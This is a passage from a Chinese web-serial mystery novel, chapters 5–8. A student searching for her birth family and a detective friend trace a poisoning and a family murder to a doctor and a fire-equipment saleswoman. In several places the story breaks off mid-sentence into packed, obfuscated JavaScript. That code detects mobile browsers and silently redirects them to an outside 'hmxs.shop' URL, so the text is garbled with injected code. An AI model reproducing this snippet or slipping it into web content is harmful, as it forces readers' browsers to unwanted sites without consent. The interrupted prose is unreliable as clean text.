邝斯年比童鸢大七岁,裴岛人,因父亲工作调动,举家搬到了哈兰。 和童鸢一家不同,邝斯年的父母总是很忙,有时候甚至好几天不回家。起初,他们把邝斯年寄放到童鸢家,渐渐地,邝斯年干脆和他们住到了一起,只有父母在家时才回隔壁。 除了上学,两人几乎每分每秒都混在一起,这样的日子维持了八年。 八年后,邝爸爸的外调合约到期,他们一家离开了哈兰,回到了裴岛。 起初,童鸢觉得这样的距离不算什么。现在通讯发达,远洋联系再也不像过去那般成本高昂。可她低估了两人年龄上的差距。 邝斯年离开时已经快十八岁,是高中生,而童鸢还在念小学。每当她打开社交软件,邝斯年的头像下都会弹出她不熟悉的人事物:新交的朋友,第一次去的酒吧,第一次开枪上靶,药理课上永远配不平的化学公式,故意刁难考生的教授和教官,毕业的喜讯,早高峰又堵了一个小时,等等。 而她呢,忙着升学,以及应付小学生间的人情世故。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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邝斯年抬手揉了揉自己的眉心,问她:“什么时候的事?你的胎记不是在后腰上吗?他是怎么看到的?在游轮上?在那间房间里?阿鸢,你们在房间里到底发生了什么?询问那天,你又隐瞒了多少信息?都是些什么信息?你现在就给我讲清楚。” 童鸢:“你也诈我了。金少立分明没死,你我半斤八两,彼此彼此。” 邝斯年:“我可以告你提供虚假证言。” “……哥,我知道错啦。”童鸢认错极快,她凑到驾驶座近旁,一脸无辜,“我愿意戴罪立功,所以你要不要考虑一下把你知道的关于金家的调查情况也和我共享一下呢?” 邝斯年一掌捂住她的脸,往外推:“起开,这不合规矩。” 童鸢:“我正在通过‘厨力觉醒’这个节目打入金家内部,我可以做你的线人。线人不需要报酬,只需要信息。” 邝斯年:“这我倒是想要问你,你要打入金家内部,为什么不干脆往叹世界集团投简历?还有……你这眉毛是怎么回事?” “想知道?” “……算了,当我没问。” “我可以告诉你呀,”童鸢拿开邝斯年的手,笑得一脸狡黠,“邝探员,你不会无缘无故找上我的。新闻迟迟没有公布本次案件的具体信息,是不是遇到了什么困难,还是被金家捂嘴了?你找到那个家庭医生了吗?医生那有新情况,对不对?还是说……” “你就非得往火坑里跳吗?”邝斯年打断她的话,“阿鸢,留在童家,不好吗?” 童鸢先是一怔,随后收起笑脸,从前排的座椅间缩回脑袋,窝进门边的角落里。 童鸢:“如果我说,我一直都在火坑里呢?” 5. 茶匙 005 最先发现不对劲是升入高中后的第一个暑假。 童伯成和桃乐丝到哈兰西海岸参加学术会议,童鸢独自在家,懒得做饭,便点了个外卖。外卖送到时,她的衣服刚洗好,随手把食物晾在茶几上,打算把家务做完再吃。 十分钟后,她听到一声闷响。 船长倒在了茶几旁,吐着白沫,地毯上洒满了玉米浓汤。 船长就是当年把她吓哭了的哈士奇。邝斯年离开时,船长已经十岁,属于高龄老狗,无法忍受十多个小时的长途飞行,于是便继续留在童鸢身边。 船长好动,贪吃,童鸢向来很小心,如果不是知道玉米对狗没有毒性,她不会任由船长留在餐厅里。 船长在前往兽医院的路上就已经不行了。后来,当地探员在那碗玉米浓汤里检验出了老鼠药。被老鼠药污染的不只有童鸢的饭菜。当天,附近的医院陆续接收了数十名病人,都是吃了同一家餐厅的同一个套餐后出现了中毒迹象。 经查明,这是一起因非法劳工长期加班却得不到合理报酬的报复行为。而童鸢恰巧在这个时候点了这家餐厅的这一碗汤,而船长恰巧咬开了包装替童鸢挡了灾。 从那以后,死神似乎爱上了童鸢。 露营晚上突然出现在帐篷入口的棕熊,深夜自启动并因干烧而失控着火的烤箱,没开出几公里就突然冒火的车头盖,同学聚会时神不知鬼不觉出现在食物里的混合药物,充满危险的地铁站台…… 一而再再而三,这不可能是巧合,有人想要她死。 “实施犯罪是需要成本的,生活成本、犯罪成本、机会成本。而将犯罪伪装成巧合,还需要脑子、手段和人脉。我不觉得我身边有这样的人。而在哈兰的十三年里,我的生活都很平静,对方一直没有动手,极有可能是因为他不知道我的存在。十三年后,他找到我了,他觉得我是威胁。” 邝斯年的车里,童鸢平静地说着在哈兰发生的事。 她说:“我只是学生,既不涉及政治机密,又没有超越旁人的财富和大脑,唯一有可能的,那就是我的身世。这让我意识到,我亲生父母的背景也许并不简单。” 邝斯年:“于是,你找到了金家……为什么是金家?” 童鸢:“桃乐丝和童伯成是在星洲的河边夜市救下我的。当时,在我的小书包的内袋中找到了写着我的名字和联系电话的便签。他们尝试联系我的家人,可那号码是游客惯常使用的临时电话卡,直到三天后该号因过期而失效都没有联系上。当时,他们就推断,我是在和家人的旅行途中遇到的人贩子。 “因为找不到家人,又不是星洲本国人,身份不明,如果不是爸爸妈妈可怜我,收养我,我便成了星洲的黑户。所以,我的家人大概不在星洲。而拥有‘金’姓并且和我具备相同肤色以及类似相貌特征的人,也就来自那几个国家。再综合其伪装手法和经济实力,我锁定了几个家族,其中就包括叹世界集团。” 邝斯年:“于是你就借着留学的契机,来到了裴岛。” 童鸢指了指自己左边的眉毛:“这里,你也看到了,也就两个小时前发生的事。死神又来了。刚好煤气泄漏,刚好灭火器不管用,一切都刚刚好。” 邝斯年:“你认为是金少立做的?” “不……应该不是他……”童鸢没有再往下说。 手机里的歌单已经播完,又从头开始。 邝斯年拉起手刹,将车停在了童鸢的公寓楼下。车外有行人经过,吵吵闹闹。他有很多话想说的,也觉得自己应该要说点什么,譬如,你辛苦了,报警了吗,要多加小心……可这些话听上去无关痛痒,还不如不说。 最后,他问童鸢:“你还没说,胎记和金少立发疯是怎么回事。” 童鸢:“我说得够多的了。要不要换你来说说,你为什么认为金家是个‘火坑’?” “……” “你们在那个家庭医生身上发现了什么?” 邝斯年依旧没有说话,像个失灵了的旧式售货机,明明已经喂进去了足够多的硬币,还是不愿吐点东西出来。 童鸢后悔跟他说这么多。她拉动车门把手,正准备下车,忽然,邝斯年的手机飞了过来,落在她手上。 屏幕已经解锁,显示的是相册。 邝斯年的声音从驾驶座上传来:“手机掉了,你有看到吗?” 童鸢一怔,瞬间明白他的意思:“哎呀,手机掉了?那可得好好找找,我帮你。” 说完,她点开缩略图,静静地看过去。 邝斯年有整理癖,喜欢建相簿,分类。他给童鸢看的相簿只有两张照片,其中一张是从A4打印纸上翻拍下来的合成图。 那是最近忽然流行起来的AI融图。只要把两个人的正面照喂给AI,输入目标性别和年龄,AI就可以根据双方的面部特征推测出两人子女的长相,并合成出对应的照片。 图片分为三个部分,上四分之三是关于小孩的输出结果。童鸢看到了一个八、九岁上下的小男孩,有些脸熟。 下四分之一是“父母”的照片。童鸢不认识“母亲”,但她认得“父亲”——正是金少立。 相簿中的另一张照片也是翻拍,翻拍对象是一份起皱了的亲子鉴定报告。鉴定意见上显示,在排除多卵双胞胎和近亲的前提下,支持两份检材所属个体符合亲生关系。 童鸢吸了口凉气:“这是谁跟谁的?” 邝斯年:“从机构提供的留存样本来看,确定是金少立和家庭医生的儿子的。” “谁送检的样本?” “那位家庭医生。船上的监控录像显示,年会当晚,他从GS52出来之后并没有马上下船,而是避开人群,绕道到了甲板走廊上,将一个装有针筒的透明密封袋扔进了海里。这一举动支持了你当天的猜测。但受海流影响,我们至今未找到这个密封袋。再加上金少立坠海和急救,血液检查结果也受到了影响,无法妄下结论。只不过,我们从其私人诊所的取药记录来看,他确实在事发当天取走了高浓度的葡萄糖药剂。而手机中的这两份东西可以解释他的动机。” “可你为什么会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817746|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两份东西?”童鸢声音很低,像在喃喃自语,“医生自己拿给你的?不可能……那岂不相当于是主动交代?不对,这是你们登堂入室找出来的……医生……报告上的这个孩子还好吗?” “不好,”邝斯年摇头,“和他母亲一起,死了,碎尸,藏在了冰箱里。” “……藏了多久?” “尸检结果受到特殊处理的影响,无法确定。但从邻居和物业证言来看,推断是平安夜前五到七天之间。发现尸体的现场收拾得很干净。” “……医生呢?你们发现尸体的时候,医生是什么反应?” “还没有找到他。” 童鸢心头一惊,手机差点摔在地上,被邝斯年顺手接过,塞回自己的口袋里。 邝斯年:“怕了?” 童鸢并不准备正面回答。她深吸一口气,让自己镇定下来,说:“从报告的日期来看,医生显示得到了鉴定报告,确定儿子不是自己亲生的,起了杀心,把妻儿杀了,藏好,拖延时。同时经由职务便利,诱导金少立无节制地摄入糖分,再把本应注射的胰岛素替换成葡萄糖,最终利用年会……这我就有些不明白了……” 邝斯年:“不明白什么?” 童鸢:“他为什么要留下这份报告和这张合成图?他是从什么时候开始疑心儿子不是自己的?又怎么在茫茫人海中独独揪出金少立来做鉴定?还有……” “停,”邝斯年打断了她,“我‘不小心’被你看到这些,不是为了让你成为推测大师的。我想提醒你,你的处境也许不是独立事件。为了案件能早日侦破,你要不要跟我说清楚,在GS52所发生的一切?” 童鸢努努嘴:“真是斤斤计较……” 邝斯年:“所以?他是不是对你上下其手了?” “这……”童鸢吞吞吐吐,“反正我就是巧妙地让他看见了,然后又巧妙地脱身了。” 邝斯年的脸再度化作变色龙,越来越黑。他咬牙:“行,等你想说的时候再说……那放烟花的时候呢?在他发疯的时候,你还留意到什么?” “放烟花的时候啊……”童鸢的样子很是苦恼,“要是我都说完了,你还能像今天这样不小心掉手机吗?” “……童!鸢!” 这是邝斯年爆炸前的征兆。 童鸢急忙拎起自己的包,推门下车:“师傅,车费在从账号里自动扣哈,谢谢!” 邝斯年:“你给我回来!” 童鸢已经飞奔入“闸”,顺利进入安全地带。 电梯上行,她推开家门。那是一室一厅的小户型。灯光带起室内的暖意,照亮了位于房间正中央的沙盘。 沙盘两米见方,上面用乐高堆叠出城市、码头和海港。游轮在岸边停靠,叹世界的总部大楼被等比例还原在盘面上。有小人在柠檬果娱乐和樱桃公寓间奔波,不远处的半山腰上,是尚未解锁的别墅群。 童鸢走到窗边,拉起窗帘。 楼下,邝斯年的车刚走。 脚边的垃圾桶还残留着一盒刚开封的晕船药。 6. 茶匙 006 周智健的遗体是在凌晨四点发现的。 那时天还黑得深沉,起得早的晨运客们准时在笔帽山山脚下集合。忽听闻一连串猛烈的撞击声,似有巨物撞折沿途树干,紧接着又是一声巨响,不多时火光冲天,山谷被烧成了大灯泡。 晨运客爬不了山了,急忙拨打119。 等消防员将山火扑灭,已是三个小时之后。 废墟中,他们捞上来一辆已经烧成焦炭的进口小轿车。驾驶座上还坐着人,其面容和四肢早已扭曲,叫人辨别不清。除此之外,他们还在后备箱里发现了一个电钻,两块伪造的车牌,以及防水布和行李箱的部分残骸。 邝斯年赶到时,法医和痕检组的同事也已经到场,他们正试图寻找可以确认死者身份的有效信息,包括发动机编号、未被完全破坏的人体组织等。 检测结果显示,小轿车中的焦尸组织和在名门豪庭中提取到的头发均属于同一个人:周智健。 这和运输署所登记的信息相吻合。 “也就是说,周智健很有可能在12月17日到19日之间杀害了自己的妻子和孩子,处理后藏入冰箱,真空冷藏。他十分小心,使用了大量的防水布防止血液污染现场。之后,他将一切打扫干净,带上作案工具和事先准备好的行李箱,离开了家。” 白板前,初级探员陈莉将链条重新梳理,说:“离开家后,他便住到了自己的私人诊所里,直到12月24日晚上,他前往叹世界号给金少立进行例行检查,调换药剂,随后便没了踪影。此后第三天凌晨,他被发现烧死在笔帽山虹栖谷的小轿车里。” 刘毅打开笔记本,接上她的话,说:“从诊所工作人员的问询结果来看,他们的固定客户基本都是政商人士,各有各的时区,周智健熬夜后留宿是常有的事。而从肖月娥提供的信息来看,他早在一个月前便称金少立的糖尿病情况稳定并有所好转,这才放宽了饮食限制。” 邝斯年看着白板上的黑色箭头和社会关系,皱起了双眉。 从目前的证据和动机来看,金少立坠海案和名门豪庭碎尸案基本可以确定是周智健所为,可他的整个行动却透露着矛盾的气息。 陈莉也注意到了这点,说:“从他下船到事发,至少有两个小时的时间。既然事先做了如此周密的准备,为什么不利用这两个小时,直接逃走?他为什么还要留在裴岛?留在裴岛的这三天,他又见了谁,坠崖现场只有他一个人吗?” 刘毅:“而且,如果他真的是通过药物作案,发作时间会不会过于巧合?他妻儿的尸体被发现是迟早的事,他极有可能是抱着致死的心态下药,那么他又怎么确保金少立必死无疑?” 陈莉和刘毅交换了个眼神,几乎是同一时间说道:“这两件事极有可能存在共犯。” 众人的目光再次回到白板上。童鸢的名字还在上面,用虚线跟金少立勾连出似有若无的关系。 而在童鸢的另一侧,是叹世界的核心利益集团,其中就包括金少立的几位大哥和大嫂。 此时,邝斯年的搭档安小贝开门进来,说:“关于查询海秀仪银行流水的审批已经通过,现在可以出发去会心银行了。” 海秀仪就是周智健的妻子。 关于她和金少立的关系,侦查一科询问过肖月娥以及其他与金少立关系密切的人员,但都一无所获。 所幸他们找到了海秀仪的银行账户,计划从她的银行流水推断出她和金少立的关系。 邝斯年和安小贝抵达会心银行时,分行副行长已经等在VIP室。 从账目信息来看,海秀仪每个月一号都会准时从周智健的账号收到家用汇款,数额可观且稳定。收到汇款的第二天,她便会转走一半,等到月底,再把用剩下的零头存回去。如此日积月累,结余便成了一笔可观的存款。 每隔半年,海秀仪都会把存款存入儿子的定期账户,大概是在为儿子以后上大学做准备。 除此之外,海秀仪与外界似乎再无别的经济来往。 邝斯年从包里取出一个证物袋,证物袋中放着一把银色的钥匙。他把袋子放到副行长跟前,说:“还请辨别一下,这个钥匙和贵行保险柜的型号是否一致。” 对方看了眼邝斯年,又扫了那钥匙一眼,点头:“确实是一致的。只是……” 邝斯年:“这是在海秀仪的家里找到的。” 副行长略一沉吟,说了声“失陪”后便不见了,再回来时,身后多了名工作人员,将他们带到保险库。 钥匙果然和保险箱相吻合。邝斯年将里面的东西取出来一看,竟有上百个信封。 工作人员说:“海小姐几乎每个月都会来一次,就是来存这种信件。而且……如果我没记错的话,她从未取出来过。” 邝斯年:“我可以打开吗?” 工作人员笑笑:“流程没问题,我就没问题。” 信封都很厚,每一封都被用油蜡封死,盖有图案完整的印戳。期间有没有被打开过,一目了然。信封的左下角还额外写着日期,从2015年10月开始,一直到2025年12月,十年,一个月都没有落下。 信封里装着的,毫无例外,全都包括一张贴了邮票盖了邮戳的寄往名门豪庭的明信片,此外还有一张照片,以及三万块现金。共计价值三百六十多万。 明信片不写别的,都是摘抄诗集里的只言片语,没有落款,寄信地址全是周智健的私人诊所。 经过笔迹比对,书写人均为海秀仪。 照片也很奇怪,画面中的内容无外乎桌子的一角,没怎么喝的咖啡或者奶茶,还有一只手的局部。那大概是同一个人的手,有时拿着手机,有时搅拌着咖啡,像是无意中错按了手机拍摄键的结果。 从桌子的设计和饮品的外包装来看,应该属于不同的店。若真要一一排查,恐怕要耗费大量的人力。 邝斯年将这一百多张照片摊开,在当中找到了一张人脸。 那是一张半身照,穿着晚礼服,被用作手机锁屏,放在桌子上,刚好被镜头捕捉到。 顺着这张照片,侦查一科找到了一位名为冯美宝的女士。 她现今所租住的住所正是樱桃公寓…… 樱桃公寓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817747|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,童鸢被早上七点的闹钟准时吵醒。 她翻了个身,被软绵绵的被窝绑架了。等她摆脱这位可恶的歹徒时已经过去三十分钟。 她随便泡了杯泡面,打开电视,晨间新闻正在播放昨日所发生的笔帽山坠崖事件的最新调查进展。 显然,记者们并非吃素,顺着弯弯曲曲的藤蔓还是摸到了周智健和金少立之间的大瓜。他们急需再次求证,在会心银行门口对侦查一科的探员围追堵截。 闪光灯下,童鸢看到了邝斯年那张没有表情的脸。 她拉下两边的嘴角,压低声音,假装深沉,配音:“无可奉告。” 几乎是同一时间,邝斯年也伸手挡住了快要怼到脸上的镜头:“无可奉告。” ——滋溜。 童鸢嗦了好大一口面。 银行…… 为什么要去银行?如果金少立知道自己在外面有个私生子,应该不会放任不管。不,不对,她就没人管。她甚至是被抛弃的。 二十年前的星洲河畔,桃乐丝曾看见过童鸢父亲的背影。他一手把钱揣进兜里,一手将她送到人贩子跟前。 当时的她只有两岁,按理说不可能保留多少记忆,但夜幕下的恐惧和挣扎带着不远处传来的烟花声深深地刻在脑海里,不时午夜梦回,至今难忘。 很长一段时间,桃乐丝和童伯成都不愿意告诉她更多的细节,直到高中的时候,死神逼近,猜测升级,他们才告诉了她那天的全部经过。 她并不是被拐走的,她是被卖掉的。 由于她挣扎得过于厉害,引起了同样来当跨国志愿者的桃乐丝夫妻俩的注意,这才被救了下来。 在星洲,买卖儿童是十分普遍的。可童鸢不是星洲人。 为什么要不远万里地出国把她卖掉?她需要一个答案。这一条,她从未告诉过任何人,尤其不能告诉邝斯年。 她打开电脑,不知道是第几次搜索金少立的创业发家史。 在2006年的那一行里写着:元旦,重开叹世界酒楼。 而2005年的冬天,正是她被带到星洲卖掉的时间。 她随手将一旁的三层小柜子拉了过来,根据地图上的街景,用乐高捏出来了个带有传统欧式大圆柱的大理石尖顶建筑——会心银行。她把它放到了沙盘上。门口台阶处,她加了个小人。 完成这一切已经八点多,童鸢简单收拾,出门上班。只听闻门边“咔哒”一声响,鲜少碰面的邻居也准备出门。 “樱桃公寓”这名字听上去小气,但实际上是个大型楼盘,共有五十八栋公寓楼,几乎每一栋都是一梯两户。 西坎大学给留学生的宿舍只有一年,第二年就需要申请、抽签。童鸢没有抽奖运,自然就从宿舍搬了出来。而在宿舍门口的传单架上,她看到了“樱桃公寓”的广告。 因为搬来的时间不长,加上作息时间有差异,童鸢和这位邻居并未有太多交集。 她只知道对方的姓名和职业:冯美宝,给力消消防科技的销售。 录制现场那瓶不起作用的灭火器就产自给力消。 7. 茶匙 007 “去上班?今天好像晚了点。” 童鸢和冯美宝交集不多,就连她的工作单位和工作性质,也是童鸢无意中从她垃圾袋中觉察到的。 透过半透明的黑色垃圾袋,童鸢偶尔瞥见了给力消这三个字。从其鼓胀的程度看,大概依附在某个类似于水杯之类的促销或者团建纪念品上。 有时候,童鸢晚上丢垃圾的时间晚了,还能撞见她应酬后酒醉的疲态以及打电话报告业绩进度的惆怅。 每天上午八点前,童鸢都能听到她出门上班的声音。今天确实是有些晚了。 “哦,是吗?”冯美宝朝她礼貌点头,友善但疏远的笑容,显然是不想多说。 此时的电梯还停在遥远的顶楼,也不知是不是被人一直按着开门键,迟迟没有下来的意思。 童鸢在她看不见的角度,操作起了某个软件,随后放进包里,看着显示屏上一动不动的楼层数字发呆。没过多久,手机响了,童鸢接起来一听,聊起了三天前被烧掉了几根眉毛以及灭火器没起作用的事。 童鸢:“我昨天看过了,消防器还没换……我现在还都有些害怕……嗯,知道了……” 耳朵里并不存在人说话的声音。 她挂了电话。冯美宝看她的目光发生了改变,却没有上前搭话。 这对于一个销售人员来说,还真不容易。是因为今年的业绩提前完成了,还是因为明年开门红的订单已经有了着落?童鸢不知道,也有可能是心虚了。 ——叮。 电梯终于来到她们所在的十楼,空荡荡的,没人。 童鸢顺势看了眼她的包:“很少见你背这么大的包,要去旅行?” 冯美宝:“哦,今天刚好要去健身房。” “是街口那家吗?” “没有……离公司更近一些,方便。” “真好,总感觉姐姐你像是出入高端写字楼的优雅白领,真羡慕。” “哪有。”冯美宝的嘴角微微往上翘了翘,说,“牛马罢了,有时候还得亲自下仓点货。” “是做化妆品或者服装类的工作吗?感觉你衣着打扮都很考究。” 冯美宝略一歪头:“不是,和这毫不相干。” “那是外贸?金融?哇!” 冯美宝笑了,笑容有些苦涩:“只是一家普通的消防器材公司。” “啊……”童鸢露出尴尬而害怕的神色,往旁边退了两步。 冯美宝说:“不用害怕,一般情况下,灭火器都是可以正常使用的……啊,不好意思,刚刚无意中听到你讲话。” 终于切入正题。可留给童鸢的时间已经不多,电梯到达一楼,门打开了。 电梯门距离公寓楼大门只有四、五步。出了门,两人便会往不同方向的小区出入口走去,通往各自的地铁口。 童鸢抓紧时间,同时又假装优哉游哉,大大咧咧地抱怨:“可公司的灭火器的坑还没填上,即使填上了我也觉得害怕。你那边有什么介绍的吗?” 冯美宝的脸色明显一顿:“有是有……” “你要是不介意的话,我今晚过去找你?” 冯美宝的停顿越发明显,说:“再说吧,我今晚可能会晚点回来。” 童鸢不动声色地朝她的手提大包看了一眼,笑得爽朗:“那行,我等你。” 说罢,两人分道扬镳。 转身的同时,一辆黑色小轿车朝童鸢的方向驶来,从她身边经过,和冯美宝走向相同的道路。 童鸢看得清楚,驾驶座上的正是安小贝,在她旁边坐着的,还有邝斯年。 刚开始,她假装来电,和冯美宝搭话,更多是联想到了那个总是想要害她的幕后黑手,现在见到邝斯年和他的同事,一个毫无根据的猜测从她的脑海中一闪而过——冯美宝和金少立的案子有关。 那么金少立……不,不对,煤气泄漏时,金少立正在昏迷…… 更值得注意的是,这看上去不搭边的两个人是怎么牵扯上的?看来还得吊一吊邝斯年。 童鸢拿出手机,向KSN发出信息:快点哟,晚了人可就要跑了。 邝斯年的手机叮当作响。 童鸢:不过,我们今晚有约,我不介意全程对你文字直播。 车里,邝斯年又皱眉了,喃喃道:“自作聪明……” 安小贝不知道他又在发什么神经,“啊”了一声,说:“她进地铁站了。” 邝斯年:“让陈莉他们跟上,我们直接去给力消。” 安小贝:“感觉她想跑。” 邝斯年:“让陈莉和刘毅漏出点马脚。” 陈莉和刘毅很快被发现了。 冯美宝握紧了提包的肩带,看着换乘站台与自己擦肩而过,从此错过了前往高铁站的机会。 她照例在公司附近的地铁站下车。在距离公司门口大概十米的地方,她再次见到了那辆黑色小轿车。 她不会记错,这台小轿车从公寓楼下一路跟到她去地铁站。 果然,她被查了。 和海秀仪的接触,她一直都很小心,应该没有留下任何指向性证据才对。那群探员在银行到底发现了什么?不,先冷静,越是这种时候,越要表现正常,不能露出破绽。 他们没有直接上来拿人,说明他们还没有完整的证据。现在跑,反而更容易引起注意。 这样想着,冯美宝深吸一口气,走进了办公大楼。 给力消的办公室里早已坐满了人。 销售总监见她现身,手中的咖啡差点洒了出来。她问冯美宝:“你今天一大早不是请病假了吗?怎么又回来了?” 冯美宝急忙道:“我见没什么事就回来了,明年一月的任务应该会很重吧。还得多排几场培训。” “是啊。年年要增长,哪有那么多增长,尤其是我们这行的。不过,你应该问题不大。”总监深吸一口气,拍拍冯美宝的肩膀,离开了。 冯美宝习惯性地将提包放到靠近窗边的角落,俯身间,她瞥见了楼下的黑车。 没事……有那群人在,他们什么都不会查到的。 黑车里,安小贝正在查看冯美宝在社交平台上的简历。 “2015年10月至今,一直在给力消消防科技工作,刚开始是销售助理,后续一年内连升三级,从销售专员一路提拔到销售经理。”安小贝的声音戛然而止。 邝斯年:“没了?” “没了。最奇怪的是,她早在2011年的时候就已经从西坎大学毕业了,可2011年到2015年之间的经历却是一片空白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817748|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邝斯年:“嗯,按理说,这种专门发出来给人看的简历,为了避免智能筛选,即使有空窗期也会硬着头皮在上面写点什么。” 安小贝:“而且在给力消的成绩也不写一下,好歹装出个销冠也好……” 邝斯年:“很低调嘛。” “低调得完全不像个销售。” “更加不像想要骑牛找马。” 一整天,除了下楼拿外卖,冯美宝几乎没有离开办公室。她也不拉窗帘,从邝斯年的角度看过去,还时不时能看到她站在窗边打电话。 直到下午五点半,给力消的下班时间到了,冯美宝才重新拿起她的大包,往地铁口赶。 邝斯年上前截住了她。他把那张拍到手机屏幕的照片复印件放到冯美宝面前,问她:“方便移步讲两句吗?” 晚高峰,周围是人来人往的同事和熟人,冯美宝不得不点头,随他来到了街口的咖啡店。 邝斯年单刀直入:“你认识海秀仪吗?” “谁?”冯美宝的表情很是困惑。 邝斯年:“四天前,海秀仪被发现死在家中,在她的遗物中,我们找到了这张照片,你看一下上面的人是不是你。” 冯美宝认得那上面的照片,说:“我不记得我有用自拍当过锁屏。这种年会照在我们公司的官网上都会有,稍微修饰一下就能合成出来吧。” “你的意思是她故意拿一个陌生人的照片,合成之后又放到保险箱里?” “保险箱?” 冯美宝的神情显得有些困惑,随后转化为愤怒,可这股愤怒很快烟消云散,只剩困惑的表情。她问邝斯年:“每个人都有使用保险箱的自由,我不觉得这和我有什么关系。” “那我问你别的,”邝斯年拿出手机,将屏幕调整到冯美宝的方向,说,“方便透露一下,你在2011年到2015年之间,都在从事什么工作吗?” “如果我说,这四年里没有工作,你信吗?” 冯美宝的语气开始变得焦躁。 邝斯年再问:“你听说过金少立的名字吗?” “这种有钱人的名字,你也应该听过吧。所以你绕来绕去到底想问什么?如果没什么事的话,我就先走了。小心我投诉你。”冯美宝说完,一手拿起座位上的包,走了。 邝斯年确定,这个女人有问题,他的方向没有错。 他想起某人对他的调戏,目光落在了水吧的甜品柜上。 叮咚一声,消停了一整天的某人突然来了消息。 那是一张照片,童鸢、任莲和金诺贤分别拿着一个甜甜圈,张大了嘴巴,作势送到嘴里,自拍合影。在他们身后,还有一个长得瘦瘦高高的女生,正恶狠狠地瞪着童鸢的背影。 童鸢给这张照片赐名:相亲相爱“一家人”。 “这位先生,你想要什么口味的甜甜圈?”咖啡厅的服务员问他。 “不用了,谢了。” 邝斯年朝对方摆摆手,打字:什么时候这么亲密了?节目组说白了不过是临时工作小组。 还有…… 邝斯年想了想,觉得自己浑身爹味,但还是发了出去:离姓金的一家远一点,别玩火。 很快,童鸢那边发来回复:那我去找姓冯的玩~儿~ 8. 茶匙 008 和金诺贤、段书艺的关系缓和,是在火灾发生的第二天。 童鸢当时正在补妆,段书艺走过来,放下了一管膏药便走了。她说:“涂这个,毛长得快。” 关于这次“意外”,童鸢并未怀疑过段书艺。 即使她有这个心,凭她如此亮眼的外表,要在这么多人的场合使坏却不被发现,那可谓比登天还难。 金诺贤也没再纠结谁跟谁一组,果真如一名成熟的大厨,专心做菜,仔细教导,唯有似笑非笑的表情一直未变。 进入第一个赛段,十六位名厨和学徒被迫分成四个不同的阵营,进行阵营积分赛。任莲和金诺贤是同一阵营,童鸢和段书艺也跟着有了合作的机会。 段书艺是个双面人,面对金诺贤的时候总是容易脸红,说话时也总是甜甜的,柔声细语,可一到童鸢面前,锅是直接甩过来的,剁肉是心狠手辣的,剥洋葱是不管你死活的,偶尔大发慈悲教童鸢三两下功夫,态度也是拽拽的。 “会了吗”“赶紧的”“醒目点”,是段书艺最常跟童鸢说的话。 童鸢学艺不精,虚长了年岁,在段书艺面前,明明自己是大姐,却沦落为什么都不懂的小妹。 段书艺:“这二十多年你都是怎么活过来的?” 童鸢第三次把土豆片切成土豆块的时候,段书艺如是说。 一旁的金诺贤哈哈一笑,又给童鸢示范了一遍。这回的刀工算是好了点了,土豆块的厚度从一厘米缩减到了五毫米。 幸好任莲救场及时,把榨菠菜汁的光荣任务交给了她。 那一天,她们除了主食,还做了一烤箱的甜甜圈,用的正是童鸢榨的五颜六色的汁。他们把甜甜圈拿在手上自拍。段书艺并不配合,但童鸢觉得,这才是真实的她。 童鸢把照片发给邝斯年之后,卸了妆,罕见地提前下班。 路过侧门时,她隐隐听到女生的哭泣声,靠近一看,才发现是段书艺蹲在门边,一个劲地啜泣。 童鸢有些犹豫,不知该怎么办。 突然,段书艺站起身来,揉揉眼睛,转过身时已经像没事人一样,踩着高跟鞋,走了。 还好刚才没有上前去,不然又要被怼了。 童鸢故意在原地等了等,料想段书艺应该走远了,这才离开了录影棚,往地铁站走去。 没想到,等她到了站台,段书艺也等在隔壁。因为地处偏僻,即使是晚高峰刚过,站台上的人也不多。童鸢刚想换个地方等,被段书艺逮了个正着。 “去哪?” 列车呼啸着进站,童鸢笑着站回到段书艺身边。 漫长的行程。 段书艺没有听歌,没有说话,只看着窗外飞掠而过的景色,发呆。 童鸢忍不住问她:“你为什么来参加这个节目?” 段书艺斜斜看着她,彷佛在说:你这不是明知故问? 童鸢收回目光,又过了一个站,她忍不住又问:“你们是情侣吗?” 这一次,段书艺没有瞪她,只是摇头。 意思是……不是?童鸢眨眨眼。 段书艺却说:“我也不知道。” 她俯身捂着脸,没有哭,但再也没有起来。 童鸢对她并不算了解,说不出贴心的话,只轻轻拍打着她的后背,一下轻过一下,直到樱桃公寓的站到了。 “你也在这里下?”段书艺看着她。 “额……好像是的呢。” 